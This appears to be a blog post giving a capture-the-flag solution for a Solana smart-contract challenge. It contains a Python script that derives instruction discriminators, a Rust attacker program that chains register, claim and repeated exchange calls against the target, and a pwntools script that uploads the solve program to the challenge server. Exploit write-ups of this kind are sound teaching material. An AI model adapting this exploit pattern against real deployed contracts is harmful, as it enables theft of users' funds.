<-->

 

import hashlib

keccak_hash = hashlib.sha256()

data = b"global:test_test" # testTest
data = b"global:claim_liveBonus" # claimLiveBonus
keccak_hash.update(data)

hash_result = keccak_hash.hexdigest()[:16]

hash_result = bytes.fromhex(hash_result)
hash_result = list(hash_result)
print(f"sha256 : {hash_result}")

'''
[211, 124, 67, 15, 211, 194, 178, 240]
[216, 121, 131, 75, 232, 154, 71, 25]
[213, 157, 193, 142, 228, 56, 248, 150]
[47, 3, 27, 97, 215, 236, 219, 144]
'''

 

#![cfg(not(feature = "no-entrypoint"))]

use std::ops::Deref;

use solana_program::declare_id;
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;

use solana_program::{
    account_info::AccountInfo,
    entrypoint,
    entrypoint::ProgramResult,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    msg,
};
use std::rc::Rc;


declare_id!("So1bCJvDc3p3PoqbVB33h4qyHrPzikCeDfQ5kpAmjV6");



entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {

        let account_iter = &mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let data_account = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let user_data = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;
        let livebonus = next_account_info(account_iter)?;
        let eventinfo = next_account_info(account_iter)?;
        let clock = next_account_info(account_iter)?;

        // for debug
        {
            let str = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref();
            msg!(&format!("{:?}", Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()));
            msg!(&format!("{:?}", data_account.owner));
        }

        //// register
        {
            let mut cont: Vec<u8> = vec![211, 124, 67, 15, 211, 194, 178, 240];

            let register = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(livebonus.key.clone(), false),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new_readonly(sp.key.clone(), false),
                ],
            );
    
            invoke(&register, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }


        //// claim
        {
            let mut cont: Vec<u8> = vec![77, 150, 206, 136, 38, 221, 202, 1];
            // let mut cont2: Vec<u8> = vec![0, 0, 0, 0, 0, 0, 0, 0];

            // cont.append(&mut cont2);

            let claim = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new_readonly(clock.key.clone(), false),
                ],
            );
    
            invoke(&claim, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }


        //// exchange
        {
            let mut cont: Vec<u8> = vec![47, 3, 27, 97, 215, 236, 219, 144];
            let mut cont2: Vec<u8> = vec![0, 0, 0, 0, 0, 0, 0, 0];

            cont.append(&mut cont2);

            let exchange = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new(eventinfo.key.clone(), false),
                ],
            );
    
            invoke(&exchange, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }


        {
            let mut cont: Vec<u8> = vec![47, 3, 27, 97, 215, 236, 219, 144];
            let mut cont2: Vec<u8> = vec![0, 0, 0, 0, 0, 0, 0, 0];

            cont.append(&mut cont2);

            let exchange = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new(eventinfo.key.clone(), false),
                ],
            );
    
            invoke(&exchange, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }

        Ok(())        
    }

 

# sample solve script to interface with the server
import pwn

# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
    ("program", "-r"),  # read only
    ("data account", "-w"),  # writable
    ("user", "sw"),  # signer + writable
    ("user data", "sw"),
    ("system program", "-r"),
    ("livebonus", "-w"),  # writable
    ("eventinfo", "-w"),  # writable
    ("clock", "-r"),
]
instruction_data = b"placeholder"

HOST = "ibennto.chals.sekai.team"
# HOST = "127.0.0.1"
PORT = 1337
p = pwn.remote(HOST, PORT, ssl=True)

with open("./solve/target/deploy/solve.so", "rb") as f:
    solve = f.read()

p.sendlineafter(b"program pubkey: \n", b"So1bCJvDc3p3PoqbVB33h4qyHrPzikCeDfQ5kpAmjV6")
p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)

accounts = {}
for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
    [name, pubkey] = l.decode().split(": ")
    accounts[name] = pubkey

accounts["system program"] = "11111111111111111111111111111111"


from solders.pubkey import Pubkey
import base58
LIVE_BONUS_SEED = b"LiveBonus"
EVENT_INFO_SEED = b"EventInfo"

new_acct = Pubkey([0] * 31 + [0])
livebonus, _ = new_acct.find_program_address(
    seeds=[LIVE_BONUS_SEED, base58.b58decode(accounts['user'])],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
eventinfo, _ = new_acct.find_program_address(
    seeds=[EVENT_INFO_SEED, base58.b58decode(accounts['user'])],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)

accounts["livebonus"] = livebonus
accounts["eventinfo"] = eventinfo
accounts["clock"] = "SysvarC1ock11111111111111111111111111111111"

print(accounts)

p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
    p.sendline(f"{perms} {accounts[name]}".encode())
p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)

p.interactive()

'writeups' 카테고리의 다른 글

2024 Blaz CTF - solana challs  (0) 2024.10.08
2024 codegate - sms  (0) 2024.09.04
CrewCTF 2024 - blockchain(lightbook)  (0) 2024.08.05
HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader)  (0) 2024.07.15
justctf2024 teaser  (0) 2024.06.17

+ Recent posts